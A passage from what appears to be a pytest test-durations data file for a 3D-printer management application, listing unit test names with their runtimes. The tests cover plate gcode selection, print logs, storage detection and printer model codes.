0.00206141360104084, + "unit/test_plate_clear_mqtt_notification.py::TestPlateClearTopic::test_silent_when_relay_is_disabled": 0.0020637884736061096, + "unit/test_plate_clear_mqtt_notification.py::TestStatusPayload::test_status_payload_carries_awaiting_plate_clear": 0.0025418130680918694, + "unit/test_plate_clear_mqtt_notification.py::TestStatusPayload::test_status_payload_defaults_to_not_awaiting": 0.0022287163883447647, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_a_gcode_md5_sidecar_is_not_mistaken_for_the_toolpath": 0.0013416660949587822, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_double_digit_plates_sort_numerically_not_lexically": 0.0013176016509532928, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_falls_back_to_first_member_when_nothing_is_plate_numbered": 0.00131295807659626, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_ignores_non_gcode_members": 0.00137226190418005, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_picks_the_lowest_plate_not_the_first_member": 0.001813819631934166, + "unit/test_plate_gcode_selection.py::TestDefaultPlateGcodeName::test_returns_none_for_an_unsliced_file": 0.0013229800388216972, + "unit/test_plate_gcode_selection.py::TestSelectPlateGcodeName::test_does_not_match_a_prefix_of_a_longer_number": 0.0013111978769302368, + "unit/test_plate_gcode_selection.py::TestSelectPlateGcodeName::test_returns_none_for_a_plate_the_file_does_not_hold": 0.0013134405016899109, + "unit/test_plate_gcode_selection.py::TestSelectPlateGcodeName::test_returns_none_without_a_plate_id": 0.0012953877449035645, + "unit/test_plate_gcode_selection.py::TestSelectPlateGcodeName::test_selects_the_named_plate_regardless_of_zip_order": 0.0013139033690094948, + "unit/test_plate_gcode_selection.py::TestSelectPlateGcodeName::test_zero_padded_names_match_the_index_the_plates_endpoint_reports": 0.0013030320405960083, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_extract_object_names_from_xml": 0.00144125334918499, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_extract_object_names_missing_name": 0.0013823918998241425, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_extract_plate_object_associations": 0.001379827968776226, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_extract_plate_object_associations_empty_plate": 0.0013480158522725105, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_object_count_matches_objects_length": 0.001305336132645607, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_plate_id_alternatives": 0.0017869891598820686, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_resolve_object_names_from_ids": 0.001310586929321289, + "unit/test_plate_object_extraction.py::TestPlateObjectExtraction::test_resolve_object_names_missing_id": 0.0012870216742157936, + "unit/test_plug_datetimes_are_naive_utc.py::test_energy_snapshot_is_stamped_with_a_naive_datetime": 0.0024625053629279137, + "unit/test_plug_datetimes_are_naive_utc.py::test_to_naive_utc_converts_rather_than_truncates": 0.0013085231184959412, + "unit/test_plug_datetimes_are_naive_utc.py::test_to_naive_utc_passes_through_naive_and_none": 0.0012870309874415398, + "unit/test_plug_datetimes_are_naive_utc.py::test_utcnow_naive_carries_no_offset": 0.0013005668297410011, + "unit/test_pool_fits_server.py::test_a_probe_failure_cannot_break_startup": 0.002309557981789112, + "unit/test_pool_fits_server.py::test_an_old_server_without_backend_type_still_gets_the_warning": 0.0024448316544294357, + "unit/test_pool_fits_server.py::test_both_sides_are_recorded_for_the_support_bundle": 0.0054771751165390015, + "unit/test_pool_fits_server.py::test_get_pool_status_exposes_the_server_limits_key": 0.0013552000746130943, + "unit/test_pool_fits_server.py::test_silent_when_the_pool_fits": 0.002439381554722786, + "unit/test_pool_fits_server.py::test_sqlite_is_skipped_entirely": 0.0024265386164188385, + "unit/test_pool_fits_server.py::test_the_reserved_slots_count_against_the_budget": 0.0027047907933592796, + "unit/test_pool_fits_server.py::test_warns_when_the_ceiling_exceeds_what_the_server_allows": 0.002826306037604809, + "unit/test_postgres_restore_drop_cascade.py::test_library_tables_form_an_fk_cycle": 0.0018073171377182007, + "unit/test_postgres_restore_drop_cascade.py::test_restore_cascade_drop_targets_only_public_schema": 0.010471096262335777, + "unit/test_postgres_restore_drop_cascade.py::test_restore_drops_every_foreign_key_before_importing_rows": 0.010287872515618801, + "unit/test_postgres_restore_drop_cascade.py::test_restore_drops_tables_with_cascade_not_metadata_drop_all": 0.010443704202771187, + "unit/test_postgres_restore_drop_cascade.py::test_restore_never_mutates_the_process_wide_orm_metadata[False]": 0.011905715800821781, + "unit/test_postgres_restore_drop_cascade.py::test_restore_never_mutates_the_process_wide_orm_metadata[True]": 0.004146398976445198, + "unit/test_postgres_restore_drop_cascade.py::test_unrestorable_fk_is_reported_by_its_columns": 0.012823164463043213, + "unit/test_print_log.py::TestPrintLogEntrySchema::test_failed_status": 0.0014173761010169983, + "unit/test_print_log.py::TestPrintLogEntrySchema::test_full_entry": 0.0014469530433416367, + "unit/test_print_log.py::TestPrintLogEntrySchema::test_minimal_entry": 0.0015631914138793945, + "unit/test_print_log.py::TestPrintLogResponse::test_empty_response": 0.00134964007884264, + "unit/test_print_log.py::TestPrintLogResponse::test_paginated_response": 0.0013537975028157234, + "unit/test_print_log.py::TestSchemaValidatesFromOrmRow::test_a_genuinely_null_column_stays_null": 0.0015387535095214844, + "unit/test_print_log.py::TestSchemaValidatesFromOrmRow::test_every_declared_field_is_carried": 0.0015244251117110252, + "unit/test_print_log.py::TestSchemaValidatesFromOrmRow::test_money_and_energy_survive_the_round_trip": 0.001638391986489296, + "unit/test_print_log.py::TestWriteLogEntry::test_duration_calculation": 0.0013471655547618866, + "unit/test_print_log.py::TestWriteLogEntry::test_duration_none_when_missing_times": 0.0013333186507225037, + "unit/test_print_log.py::TestWriteLogEntryReconciledDuration::test_genuine_long_print_retains_full_duration": 0.00196237675845623, + "unit/test_print_log.py::TestWriteLogEntryReconciledDuration::test_non_reconciled_missing_times_is_none": 0.0022122152149677277, + "unit/test_print_log.py::TestWriteLogEntryReconciledDuration::test_reconciled_logs_zero_despite_multiday_gap": 0.0024889353662729263, + "unit/test_print_log.py::TestWriteLogEntryReconciledDuration::test_reconciled_logs_zero_even_without_timestamps": 0.002074187621474266, + "unit/test_print_log_backfill_migration.py::test_backfill_copies_cost_and_energy_to_latest_run_only": 0.43026158958673477, + "unit/test_print_log_backfill_migration.py::test_backfill_is_idempotent": 0.8168724328279495, + "unit/test_print_log_backfill_migration.py::test_backfill_links_log_entries_to_their_archive": 0.4420423088595271, + "unit/test_print_log_backfill_migration.py::test_backfill_skips_archives_with_any_costed_run": 0.42826104909181595, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_failure": 0.19838958326727152, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_not_connected": 0.19608904980123043, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_not_found": 0.19827312417328358, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_success[1-Silent]": 0.198490459471941, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_success[2-Standard]": 0.19299008138477802, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_success[3-Sport]": 0.19442989770323038, + "unit/test_print_speed.py::TestPrintSpeedAPI::test_print_speed_success[4-Ludicrous]": 0.1965576084330678, + "unit/test_print_start_assigns_printer_id_to_vp_archive.py::test_expected_archive_path_assigns_printer_id_when_unset": 0.10048805270344019, + "unit/test_print_start_assigns_printer_id_to_vp_archive.py::test_expected_archive_path_captures_timelapse_baseline": 0.07222330756485462, + "unit/test_print_start_assigns_printer_id_to_vp_archive.py::test_expected_archive_path_preserves_existing_printer_id": 0.07189754582941532, + "unit/test_print_start_expected_promotion.py::TestAMSMappingInjection::test_injection_into_session": 0.0013457415625452995, + "unit/test_print_start_expected_promotion.py::TestAMSMappingInjection::test_no_injection_when_session_already_has_mapping": 0.00282447412610054, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_detects_expected_print_by_filename": 0.0013215551152825356, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_detects_expected_print_by_gcode_filename": 0.0013104965910315514, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_detects_expected_print_by_subtask": 0.001933564431965351, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_empty_expected_prints_returns_false": 0.0012411260977387428, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_filename_with_spaces_and_parens": 0.0013004187494516373, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_no_false_positive_for_different_file": 0.0013169357553124428, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintDetection::test_no_false_positive_for_different_printer": 0.001310836523771286, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintPromotion::test_ams_mapping_survives_promotion": 0.0013192025944590569, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintPromotion::test_completion_lookup_finds_promoted_archive": 0.0013192426413297653, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintPromotion::test_no_promotion_for_external_print": 0.0012466954067349434, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintPromotion::test_promotion_cleans_up_expected_prints": 0.0013122688978910446, + "unit/test_print_start_expected_promotion.py::TestExpectedPrintPromotion::test_promotion_populates_active_prints": 0.0013153860345482826, + "unit/test_print_start_expected_promotion.py::TestPlateIdInjection::test_injection_into_session": 0.001943894661962986, + "unit/test_print_start_expected_promotion.py::TestPlateIdInjection::test_no_injection_when_session_already_has_plate_id": 0.0018444256857037544, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_get_start_plate_id_reads_back": 0.0012774160131812096, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_get_start_plate_id_returns_none_for_unregistered": 0.0012055495753884315, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_no_ams_mapping_when_none": 0.0014462191611528397, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_no_plate_id_when_none": 0.0012864302843809128, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_registers_filename_and_variants": 0.0019838474690914154, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_stores_ams_mapping": 0.0015019848942756653, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_stores_creator": 0.0013577444478869438, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_stores_plate_id": 0.001297532580792904, + "unit/test_print_start_expected_promotion.py::TestRegisterExpectedPrint::test_stores_registered_at": 0.0012905597686767578, + "unit/test_print_start_skips_unreachable_storage_2780.py::test_a_print_on_external_storage_still_sweeps": 0.014959698542952538, + "unit/test_print_start_skips_unreachable_storage_2780.py::test_a_print_on_internal_storage_probes_once_instead_of_sweeping": 0.017775235697627068, + "unit/test_print_start_skips_unreachable_storage_2780.py::test_a_printer_that_said_nothing_still_sweeps": 0.012093236669898033, + "unit/test_print_start_skips_unreachable_storage_2780.py::test_a_sweep_that_simply_found_nothing_records_no_reason": 0.01360232476145029, + "unit/test_print_start_skips_unreachable_storage_2780.py::test_an_empty_slot_never_touches_ftp": 0.012428885325789452, + "unit/test_print_storage_2780.py::TestFileScheme::test_a_non_string_url_declines_too[12345]": 0.001305597834289074, + "unit/test_print_storage_2780.py::TestFileScheme::test_a_non_string_url_declines_too[url1]": 0.001290278509259224, + "unit/test_print_storage_2780.py::TestFileScheme::test_a_non_string_url_declines_too[url2]": 0.0013039438053965569, + "unit/test_print_storage_2780.py::TestFileScheme::test_a_non_string_url_declines_too[url3]": 0.001299506053328514, + "unit/test_print_storage_2780.py::TestFileScheme::test_an_empty_slot_still_wins": 0.0012509748339653015, + "unit/test_print_storage_2780.py::TestFileScheme::test_an_external_mount_is_not_evidence_of_internal_storage[file:///media/sdcard/Benchy.gcode.3mf]": 0.0012993039563298225, + "unit/test_print_storage_2780.py::TestFileScheme::test_an_external_mount_is_not_evidence_of_internal_storage[file:///media/usb0/foobar.gcode.3mf]": 0.0013269977644085884, + "unit/test_print_storage_2780.py::TestFileScheme::test_an_external_mount_is_not_evidence_of_internal_storage[file:///media/usb0/timelapse/video.mp4]": 0.0013126898556947708, + "unit/test_print_storage_2780.py::TestFileScheme::test_an_unrecognised_path_sweeps_rather_than_skips": 0.001264902763068676, + "unit/test_print_storage_2780.py::TestFileScheme::test_the_model_cache_is_internal": 0.0012738090008497238, + "unit/test_print_storage_2780.py::TestFileScheme::test_the_model_cache_still_skips": 0.0012605823576450348, + "unit/test_print_storage_2780.py::TestFileScheme::test_the_sweep_runs_for_a_file_on_the_card": 0.0012592095881700516, + "unit/test_print_storage_2780.py::TestReasonIsAlwaysPresentWhenUnreachable::test_reachable_carries_no_reason": 0.0012652035802602768, + "unit/test_print_storage_2780.py::TestReasonIsAlwaysPresentWhenUnreachable::test_unreachable_carries_a_reason[state0]": 0.0013135634362697601, + "unit/test_print_storage_2780.py::TestReasonIsAlwaysPresentWhenUnreachable::test_unreachable_carries_a_reason[state1]": 0.0013027405366301537, + "unit/test_print_storage_2780.py::TestReasonIsAlwaysPresentWhenUnreachable::test_unreachable_carries_a_reason[state2]": 0.0013185115531086922, + "unit/test_print_storage_2780.py::TestSweepIsSkipped::test_a_print_kept_on_internal_storage": 0.0012648208066821098, + "unit/test_print_storage_2780.py::TestSweepIsSkipped::test_a_printer_that_says_its_slot_is_empty": 0.0012625856325030327, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_a_print_on_external_storage": 0.0025146836414933205, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_a_printer_that_never_mentioned_its_card": 0.0023357579484581947, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_a_printer_with_a_card_and_no_dispatch_seen": 0.0019748322665691376, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_a_state_missing_the_fields_entirely": 0.0012808702886104584, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_an_explicit_ftp_url_outranks_a_disagreeing_card_flag": 0.0015977360308170319, + "unit/test_print_storage_2780.py::TestSweepStillRuns::test_no_state_at_all": 0.0013199234381318092, + "unit/test_print_storage_2780.py::TestTheGateUsesThePerPrintUrlOnly::test_a_print_with_no_dispatch_of_its_own_still_sweeps": 0.001282423734664917, + "unit/test_print_storage_2780.py::TestTheGateUsesThePerPrintUrlOnly::test_an_empty_slot_is_reported_by_both": 0.0012976732105016708, + "unit/test_print_storage_2780.py::TestTheGateUsesThePerPrintUrlOnly::test_the_sticky_reading_never_gates_a_sweep": 0.0014480836689472198, + "unit/test_print_storage_2780.py::TestTheGateUsesThePerPrintUrlOnly::test_the_sticky_reading_still_reports_it": 0.0012869210913777351, + "unit/test_print_storage_2780.py::TestTheTwoInternalReasonsAreToldApart::test_a_dispatch_that_chose_internal_storage": 0.0012728963047266006, + "unit/test_print_storage_2780.py::TestTheTwoInternalReasonsAreToldApart::test_a_print_of_a_file_that_was_already_there[file:///userdata/model/history/Halterung Kuehlschrank V2.gcode.3mf]": 0.0013295318931341171, + "unit/test_print_storage_2780.py::TestTheTwoInternalReasonsAreToldApart::test_a_print_of_a_file_that_was_already_there[file:///userdata/model/history/JOB_A.gcode.3mf]": 0.0013003377243876457, + "unit/test_print_storage_2780.py::TestTheTwoInternalReasonsAreToldApart::test_both_still_earn_a_probe": 0.00128188356757164, + "unit/test_print_storage_2780.py::TestTheTwoInternalReasonsAreToldApart::test_the_sticky_reading_splits_them_too": 0.0012819739058613777, + "unit/test_print_storage_2780.py::TestTimelapseUsesTheNarrowerRule::test_an_empty_slot_does_suppress_it": 0.0012806309387087822, + "unit/test_print_storage_2780.py::TestTimelapseUsesTheNarrowerRule::test_internal_storage_does_not_suppress_the_timelapse_scan": 0.001257837750017643, + "unit/test_print_storage_2780.py::TestTimelapseUsesTheNarrowerRule::test_no_state_does_not": 0.0012650424614548683, + "unit/test_print_storage_2780.py::TestTimelapseUsesTheNarrowerRule::test_silence_does_not": 0.0012578992173075676, + "unit/test_print_storage_2780.py::TestUrlScheme::test_an_unknown_scheme_is_not_assumed_reachable": 0.0012705614790320396, + "unit/test_print_storage_2780.py::TestUrlScheme::test_brtc_means_internal_storage[brtc://emmc/169356_204314.STEP.gcode.3mf]": 0.0013377266004681587, + "unit/test_print_storage_2780.py::TestUrlScheme::test_brtc_means_internal_storage[brtc://emmc/Benchy.gcode.3mf]": 0.0013023819774389267, + "unit/test_print_storage_2780.py::TestUrlScheme::test_ftp_means_external_storage[FTP://Benchy.gcode.3mf]": 0.0013265060260891914, + "unit/test_print_storage_2780.py::TestUrlScheme::test_ftp_means_external_storage[ftp://Benchy.gcode.3mf]": 0.0016336627304553986, + "unit/test_print_storage_2780.py::TestUrlScheme::test_ftp_means_external_storage[ftp://Halterung K\\xfchlschrank V2.gcode.3mf]": 0.0013867411762475967, + "unit/test_print_storage_2780.py::TestUrlScheme::test_no_usable_url_declines_to_answer[Benchy.gcode.3mf]": 0.00132781732827425, + "unit/test_print_storage_2780.py::TestUrlScheme::test_no_usable_url_declines_to_answer[None]": 0.0013150647282600403, + "unit/test_print_storage_2780.py::TestUrlScheme::test_no_usable_url_declines_to_answer[]": 0.0013080816715955734, + "unit/test_printer_kill_switch.py::test_archive_without_a_dispatch_marker_is_not_authorization": 0.002557894214987755, + "unit/test_printer_kill_switch.py::test_bambuddy_authorized_print_is_not_stopped": 0.0017917593941092491, + "unit/test_printer_kill_switch.py::test_defers_when_the_dispatch_has_not_been_archived_yet": 0.0018855128437280655, + "unit/test_printer_kill_switch.py::test_defers_while_bambuddy_has_a_job_running_on_that_printer": 0.0019620275124907494, + "unit/test_printer_kill_switch.py::test_either_dispatch_marker_authorizes_after_a_restart[billing_run_id]": 0.00239731278270483, + "unit/test_printer_kill_switch.py::test_either_dispatch_marker_authorizes_after_a_restart[created_by_id]": 0.002392582595348358, + "unit/test_printer_kill_switch.py::test_failed_immediate_notification_allows_completion_retry": 0.0016956375911831856, + "unit/test_printer_kill_switch.py::test_foreign_print_with_no_archive_and_no_dispatch_is_unauthorized": 0.0018740929663181305, + "unit/test_printer_kill_switch.py::test_gcode_3mf_status_filename_matches_registered_expected_print": 0.0012915311381220818, + "unit/test_printer_kill_switch.py::test_kill_switch_defers_when_restart_identity_is_not_available": 0.0017835022881627083, + "unit/test_printer_kill_switch.py::test_kill_switch_setting_is_cached": 0.002178122289478779, + "unit/test_printer_kill_switch.py::test_persisted_print_is_authorized_after_restart[PAUSE]": 0.002065029926598072, + "unit/test_printer_kill_switch.py::test_persisted_print_is_authorized_after_restart[RUNNING]": 0.0023743119090795517, + "unit/test_printer_kill_switch.py::test_unauthorized_active_print_triggers_stop": 0.0030593443661928177, + "unit/test_printer_kill_switch.py::test_unauthorized_print_state_is_cleared_when_print_ends": 0.0033166976645588875, + "unit/test_printer_manager_status_broadcast.py::TestBroadcastStatusChange::test_emits_ws_update_when_state_present": 0.001987653784453869, + "unit/test_printer_manager_status_broadcast.py::TestBroadcastStatusChange::test_skips_when_status_unknown": 0.0017782319337129593, + "unit/test_printer_manager_status_broadcast.py::TestBroadcastStatusChange::test_swallows_websocket_errors": 0.0019488520920276642, + "unit/test_printer_manager_status_broadcast.py::TestEndToEndUnderRunningLoop::test_set_false_eventually_emits_broadcast": 0.004121496342122555, + "unit/test_printer_manager_status_broadcast.py::TestSchedulingFromSetAwaitingPlateClear::test_both_true_and_false_flips_schedule_broadcast": 0.0018580136820673943, + "unit/test_printer_manager_status_broadcast.py::TestSchedulingFromSetAwaitingPlateClear::test_does_not_schedule_when_loop_not_running": 0.0015763361006975174, + "unit/test_printer_manager_status_broadcast.py::TestSchedulingFromSetAwaitingPlateClear::test_does_not_schedule_when_no_loop_attached": 0.0014117956161499023, + "unit/test_printer_manager_status_broadcast.py::TestSchedulingFromSetAwaitingPlateClear::test_schedules_broadcast_when_loop_running": 0.001633521169424057, + "unit/test_printer_manager_tray_carryover_2876.py::test_a_first_connection_has_nothing_to_remember": 1.0040169777348638, + "unit/test_printer_manager_tray_carryover_2876.py::test_a_later_reading_replaces_the_remembered_one": 2.0061969105154276, + "unit/test_printer_manager_tray_carryover_2876.py::test_an_empty_reading_is_not_remembered_as_a_reading": 1.0046268301084638, + "unit/test_printer_manager_tray_carryover_2876.py::test_nothing_but_the_trays_is_kept": 1.0033664675429463, + "unit/test_printer_manager_tray_carryover_2876.py::test_the_loaded_filament_survives_a_plain_disconnect": 0.0022002942860126495, + "unit/test_printer_manager_tray_carryover_2876.py::test_the_loaded_filament_survives_a_reconnect": 1.0035789655521512, + "unit/test_printer_manager_tray_carryover_2876.py::test_the_new_client_starts_empty": 1.0034416886046529, + "unit/test_printer_media.py::test_build_printer_files_zip_cleans_bundle_on_cancellation": 0.0031916312873363495, + "unit/test_printer_media.py::test_build_printer_files_zip_keeps_a_file_whose_listing_size_went_stale": 0.0030448371544480324, + "unit/test_printer_media.py::test_build_printer_files_zip_offloads_blocking_zip_and_filesystem_work": 0.0039930157363414764, + "unit/test_printer_media.py::test_build_printer_files_zip_rejects_insufficient_data_volume_space": 0.002486259676516056, + "unit/test_printer_media.py::test_build_printer_files_zip_rejects_oversized_selection_before_download": 0.0030960943549871445, + "unit/test_printer_media.py::test_build_printer_files_zip_reports_per_file_progress": 0.0034210216253995895, + "unit/test_printer_media.py::test_build_printer_files_zip_skips_relative_and_nul_paths": 0.0038116145879030228, + "unit/test_printer_media.py::test_build_printer_files_zip_stages_on_data_volume_and_compresses_by_type": 0.0045684827491641045, + "unit/test_printer_media.py::test_concurrent_preparations_both_stop_at_the_disk_reserve": 0.03214337769895792, + "unit/test_printer_media.py::test_match_ipcam_chunks_caps_an_unfinished_archive_window": 0.0013375766575336456, + "unit/test_printer_media.py::test_match_ipcam_chunks_uses_archive_window_and_ignores_non_video_entries": 0.0015605762600898743, + "unit/test_printer_media.py::test_module_imports_on_every_supported_platform": 0.005918522365391254, + "unit/test_printer_media.py::test_prune_stale_printer_file_bundles_removes_hour_old_abandoned_bundle": 0.0031806323677301407, + "unit/test_printer_media.py::test_shutdown_awaits_download_jobs_and_publishes_cancellation": 0.0029262350872159004, + "unit/test_printer_media.py::test_two_preparations_run_at_the_same_time": 0.05513437744230032, + "unit/test_printer_models.py::TestA1SeriesModelIds::test_n1_is_a1_mini": 0.0013424353674054146, + "unit/test_printer_models.py::TestA1SeriesModelIds::test_n2s_is_a1": 0.0012922920286655426, + "unit/test_printer_models.py::TestA2LModel::test_a2l_camera_port_is_chamber_image": 0.0012860102578997612, + "unit/test_printer_models.py::TestA2LModel::test_a2l_does_not_support_rtsp_display_name": 0.001262204721570015, + "unit/test_printer_models.py::TestA2LModel::test_a2l_does_not_support_rtsp_internal_code": 0.0012847771868109703, + "unit/test_printer_models.py::TestA2LModel::test_a2l_has_no_ethernet_display_name": 0.00127427838742733, + "unit/test_printer_models.py::TestA2LModel::test_a2l_has_no_ethernet_internal_code": 0.0012902086600661278, + "unit/test_printer_models.py::TestA2LModel::test_a2l_in_linear_rail_set": 0.0012921206653118134, + "unit/test_printer_models.py::TestA2LModel::test_a2l_is_linear_rail_display_name": 0.0012864330783486366, + "unit/test_printer_models.py::TestA2LModel::test_a2l_is_linear_rail_internal_code": 0.0012801885604858398, + "unit/test_printer_models.py::TestA2LModel::test_a2l_is_not_dual_nozzle": 0.0012680767104029655, + "unit/test_printer_models.py::TestA2LModel::test_a2l_model_id_map": 0.0012785354629158974, + "unit/test_printer_models.py::TestA2LModel::test_a2l_model_map": 0.0012805107980966568, + "unit/test_printer_models.py::TestA2LModel::test_a2l_not_in_carbon_or_steel_rod_sets": 0.0012880023568868637, + "unit/test_printer_models.py::TestDualNozzleModel::test_h2d_and_pro_are_dual": 0.0013581858947873116, + "unit/test_printer_models.py::TestDualNozzleModel::test_internal_codes_are_dual": 0.001342286355793476, + "unit/test_printer_models.py::TestDualNozzleModel::test_none_and_empty_are_not_dual": 0.0013360651209950447, + "unit/test_printer_models.py::TestDualNozzleModel::test_single_nozzle_models_are_not_dual": 0.001364164985716343, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_internal_codes[C11]": 0.0013011787086725235, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_internal_codes[C12]": 0.0013141809031367302, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_internal_codes[C13]": 0.0013068271800875664, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_models[P1P]": 0.0013028429821133614, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_models[P1S]": 0.0013144230470061302, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_models[X1C]": 0.0015623094514012337, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_models[X1E]": 0.0013255830854177475, + "unit/test_printer_models.py::TestGetRodType::test_carbon_rod_models[X1]": 0.001418139785528183, + "unit/test_printer_models.py::TestGetRodType::test_case_insensitive": 0.0012777959927916527, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[A11]": 0.0013084420934319496, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[A12]": 0.001330796629190445, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[N1]": 0.0013272976502776146, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[N2S]": 0.001314663328230381, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O1C2]": 0.001315816305577755, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O1C]": 0.0013069696724414825, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O1D]": 0.0017301831394433975, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O1E]": 0.0013331295922398567, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O1S]": 0.0013127699494361877, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_internal_codes[O2D]": 0.0013114074245095253, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[A1 Mini]": 0.0013455627486109734, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[A1]": 0.0014438163489103317, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[H2C]": 0.0013193944469094276, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[H2D Pro]": 0.0013330299407243729, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[H2D]": 0.001323421485722065, + "unit/test_printer_models.py::TestGetRodType::test_linear_rail_models[H2S]": 0.0013468237593770027, + "unit/test_printer_models.py::TestGetRodType::test_none_returns_none": 0.001271572895348072, + "unit/test_printer_models.py::TestGetRodType::test_p2s_internal_code_is_steel_rod": 0.0018139686435461044, + "unit/test_printer_models.py::TestGetRodType::test_p2s_is_steel_rod": 0.0012783762067556381, + "unit/test_printer_models.py::TestGetRodType::test_strips_whitespace_and_dashes": 0.0012849979102611542, + "unit/test_printer_models.py::TestGetRodType::test_unknown_model_returns_none": 0.0012738266959786415, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_internal_codes_have_no_external_storage[A04]": 0.0013788053765892982, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_internal_codes_have_no_external_storage[A11]": 0.0013657696545124054, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_internal_codes_have_no_external_storage[A12]": 0.0016047675162553787, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_internal_codes_have_no_external_storage[N1]": 0.0013641463592648506, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_internal_codes_have_no_external_storage[N2S]": 0.0013711899518966675, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_series_has_no_external_storage[A1 Mini]": 0.0013881921768188477, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_series_has_no_external_storage[A1-Mini]": 0.0013626748695969582, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_series_has_no_external_storage[A1MINI]": 0.001360560767352581, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_series_has_no_external_storage[A1]": 0.001382569782435894, + "unit/test_printer_models.py::TestHasExternalStorage::test_a1_series_has_no_external_storage[a1]": 0.0013776719570159912, + "unit/test_printer_models.py::TestHasExternalStorage::test_none_and_empty_default_to_true": 0.0013367263600230217, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[H2C]": 0.0013810889795422554, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[H2D Pro]": 0.001368943601846695, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[H2D]": 0.0013607796281576157, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[H2S]": 0.001372423954308033, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[P1P]": 0.001362803392112255, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[P1S]": 0.001373235136270523, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[P2S]": 0.001372561790049076, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[X1C]": 0.0013859178870916367, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[X1E]": 0.001385255716741085, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[X1]": 0.001369524747133255, + "unit/test_printer_models.py::TestHasExternalStorage::test_other_models_have_external_storage[X2D]": 0.0013855863362550735, + "unit/test_printer_models.py::TestHasExternalStorage::test_unknown_model_defaults_to_true": 0.0013229893520474434, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[A1 Mini]": 0.001376548781991005, + 